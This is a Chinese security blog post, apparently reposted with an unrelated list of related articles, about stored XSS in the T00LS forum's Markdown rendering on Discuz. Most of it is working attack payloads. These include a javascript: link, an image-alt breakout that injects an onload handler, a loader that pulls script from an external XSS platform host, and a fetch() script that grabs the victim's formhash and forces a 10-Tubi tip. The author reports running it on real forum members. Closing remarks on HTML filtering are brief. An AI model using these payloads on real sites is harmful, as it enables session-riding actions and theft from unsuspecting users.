T00LS在前段时间开启了markdown支持,这个漏洞也正是markdown的问题导致。

Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。

Markdown本身是一种标记语言,在网页上的应用也很简单,比如当我在markdown中输入**加粗**,那么经过转换之后,这个短句将会变成<strong>加粗</strong>。其实也是一系列的html转换,由此就会出现很多XSS的问题。

下面我结合T00LS的实例简单说一说Markdown的XSS漏洞。

最基础的栗子,点击触发XSS

很多人了解markdown以后,可能想到的第一个XSS就是这个。

我们知道markdown可以插入超链接。用法如下:

[王松的博客](http://www.hackersb.cn)

渲染出来的效果如下:

王松的博客

那么如果我们使用伪协议呢?比如:

[XSS](javascript:alert(1))

答案是可以弹框。然后我们弹出Cookies就会发现Discuz的cookies都设置了httponly,也就说说无法用javascript来获取cookies。

但是我们可以获取Discuz的formhash呀,在Discuz中,为了防止CSRF,几乎每个操作都使用了formhash,我们能获取到formhash,就可以操作当前账户几乎所有的动作了。

那么用js如何获取Dz的formhash呢?

在帖子正文页,我们可能会需要回帖,所以肯定会有formhash,如下:

那就很简单了。

获取到formhash以后,我们可以选择直接发送ajax请求来用formhash做点“有趣的事情”,比如发帖,转账?

高级一点,自动触发

在上面的操作中,我们需要被攻击者点击超链接才可以触发漏洞,那么我们能不能直接触发呢?

我们先来看看在markdown中如何使用图片吧。栗子如下:

![头像](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

渲染效果如下:

我们先来看看转换后的html长啥样吧:

我们在[]中输入的内容变成了html中的alt,那么如果我们在这中间用双引号是否能够逃逸出来,加个onload或者onerror属性呢?

比如:

![头像" onload=alert(1)](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

输出结果如下:

很明显alert后面多了一个双引号,所以我们简单改一下payload,注释掉后面:

![头像" onload=alert(1);//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

然后刷新以后:

果然执行了…… 这个时候已经自动触发了。

输出样式如下:

一个能自动触发的XSS,可比需要点击的XSS威力大了许多。

但是在实战中我们要执行的js代码可能会非常长,所以在onload里面写js难免会很麻烦。

so 我们需要引入外部js。

再高级一些,引入外部js

这次我们直接点,payload如下:

![头像" onload=s=createElement('script');body.appendChild(s);s.src='外部js的url';//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

比如我们引用一个弹出formhash的js:

这里我用到了安全盒子的XSS平台,地址是x.secbox.cn

成功弹出formhash:

实例:转走别人的Tubi

我们先来选一个目标,这里我就选择我们团队的核心大佬 @phithon 了。

为了不误伤其他小伙伴,我这里就编辑我以前的帖子,发给phithon师傅去看,从而触发XSS。

基本思路如下:

  1. p神访问触发XSS
  2. 获取formhash
  3. ajax请求模拟赞赏帖子

这里选择赞赏贴子的原因是因为银行转账需要输入论坛密码,无法模拟转账,我们只是做漏洞演示,所以赞赏就够啦。

赞赏也是可以自定义tubi的,我们就来“偷”10个p神的tubi吧~

payload编写

很简单的payload就不解释了,如下:

var formhash = document.getElementsByName('formhash')[0].value;
fetch("https://www.t00ls.net/misc.php?action=userrate&userratesubmit=yes&infloat=yes&inajax=1&inajax=1", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1",
"Connection": 'keep-alive',
},
body: "formhash=" + formhash + "&tid=39705&do=dashang&handlekey=userrate&score=%2B10&reason=thanks"
}).then(function(res) {
if (res.ok) {
alert("谢谢你的10Tubi!!!");
}
}, function(e) {
alert("Error submitting form!");
});

然后引入一下,即可“偷”tubi:

那么我们现在把这个帖子发给phithon师傅去看。

好了,我们现在再把这个url发给雨神:

战果:

感谢phithon和lcy的1tubi,还有雨神的10tubi。

实例:蠕虫

不敢写,想想整个T00LS都弥漫着蠕虫的气息,我就觉得害怕。

漏洞修复及总结

markdown转换到html后,再进行一系列的过滤吧,html属性白名单什么的,也可以使用开源的项目,比如:http://htmlpurifier.org/

其实这个拿到Discuz的formhash能做的事情很多很多…… 比如置顶帖子,修改版规,等等,如果是有后台权限的管理员触发,或许还可以模拟后台的一些操作,危害是挺大的。

最后再次感谢phithon和lcy的1tubi,还有雨神的10tubi。

抱拳了老铁。介绍:请勿用于非法用途,本文仅供技术交流学习探讨。本文部分资源来源于网络,如有侵权请联系版主删除。

来自T00ls的帖子-XSS的奇技淫巧的更多相关文章

  1. PHP清理跨站XSS xss_clean 函数 整理自codeigniter Security

    PHP清理跨站XSS xss_clean 函数 整理自codeigniter Security 由Security Class 改编成函数xss_clean 单文件直接调用.BY吠品. //来自cod ...

  2. 反射型xss绕过IE xss filter

    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...

  3. Unity3D 之脚本架构,优雅地管理你的代码

    本文参考雨松MOMO大神的帖子: 图片全部来自他的帖子(请允许我偷懒下) --------------------------------------------------------------- ...

  4. android studio导jar包找不到类的解决方法

    今天更新了universal-image-loader-1.9.5.jar文件,studio死活找不到其中相关的类,上网百度试了很多办法,总算解决了,具体方法跟一篇老外的帖子的差不多,这里分享下. 解 ...

  5. 一行代码设置TForm颜色的前世今生(属性赋值引起函数调用,然后发消息实现改变显示效果),TForm的初始颜色在dfm中设置了clBtnFace色

    来自万一的帖子:http://www.cnblogs.com/del/archive/2008/04/27/1173658.html的确做到了一行代码设置TForm控件的颜色(一点感想:Delphi程 ...

  6. 关于pragma pack的用法(一)

    一个很重要的参数#pragma pack(n) 数据边界对齐方式:以如下结构为例: struct {                    char a;                    WOR ...

  7. 如何在cocos2d项目中enable ARC

    如何在cocos2d项目中enable ARC 基本思想就是不支持ARC的代码用和支持ARC的分开,通过xcode中设置编译选项,让支持和不支持ARC的代码共存. cocos2d是ios app开发中 ...

  8. MFC:ID命名和数字约定

    今天早上双击一个刚刚编译完成的应用程序,界面刚刚显示,又自动触发了一个菜单事件,打开了一个网页.真的很意外.关闭窗口,再次双击,又自动打开了一个网页,再关闭,再双击,又不自动打开网页了.这是什么情况? ...

  9. Firefox 新增容器标签:可同时登录多个用户

    Mozilla昨天在Firefox夜间构建版50.0a1中增加了一个名为“容器标签Container Tabs”的实验性功能. Mozilla的工程师称,该功能可以将用户的浏览会话分到不同的容器中.这 ...

随机推荐

  1. js中出现问题--Type Syntax error on token "catch", Identifier expected jquery.js

    解决方案: 1.选中jQuery报错的web工程: 2.右键-->Myeclipse-->Exclude From Validation,选中: 3.继续右键Myeclipse--> ...

  2. 添加语句<tx:annotation-driven transaction-manager="txManager"/>报错

    在添加<tx:annotation-driven transaction-manager="txManager"/>程序之前,applicationContext.xm ...

  3. java: scanner(输入流)文本扫描类

    //scanner是接受system.in输入流的操作类 //scanner同时也支持文件输入流的操作 //一个可以使用正则表达式来分析基本类型和字符串的简单文本扫描器 Scanner scan = ...

  4. jq中append()、prepend()、after()、before()的区别详解

    1.append() - 在被选元素的结尾插入内容(内容的结尾,比如说有个a标签,则是在</a>这个标签之前添加东西) 2.prepend() - 在被选元素的开头插入内容(内容的开始,比 ...

  5. jenkins自动发送邮件配置

    一. 前提:确保插件存在 在一切开始之前,必须得确保任务配置里有两个插件:E-mail Notification(邮件通知) 和 Editable Email Notification(可编辑的邮件通 ...

  6. ASP.NET Core 开源项目整理

    前言: 对 .NET Core 的热情一直没有下降过,新起的项目几乎都是采用 Core 来做开发. 跨平台是一个方面,另外就是 Core 很轻,性能远超很多开发语言(不坑). 一.ASP.NET Co ...

  7. Django Cookie Session和自定义分页

    Django中操作Cookie 获取Cookie request.COOKIES['key'] request.get_signed_cookie(key, default=RAISE_ERROR, ...

  8. GEF入门实例_总结_04_Eclipse插件启动流程分析

    一.前言 本文承接上一节:GEF入门实例_总结_03_显示菜单和工具栏 注意到app目录下的6个类文件. 这6个文件对RCP应用程序而言非常重要,可能我们现在对这几个文件的理解还是云里雾里,这一节我们 ...

  9. L110 promise

    We assure you that such things will not happen again in our future deliveries. We'd like to avail ou ...

  10. jmeter请求中上传图片

    1.请求中上传图片 把图片放在bin目录下:multipart/form-data 先把照片发送给阿里,阿里返回image_id:然后用后置条件正则表达式匹配并保存image_id 下次请求直接用im ...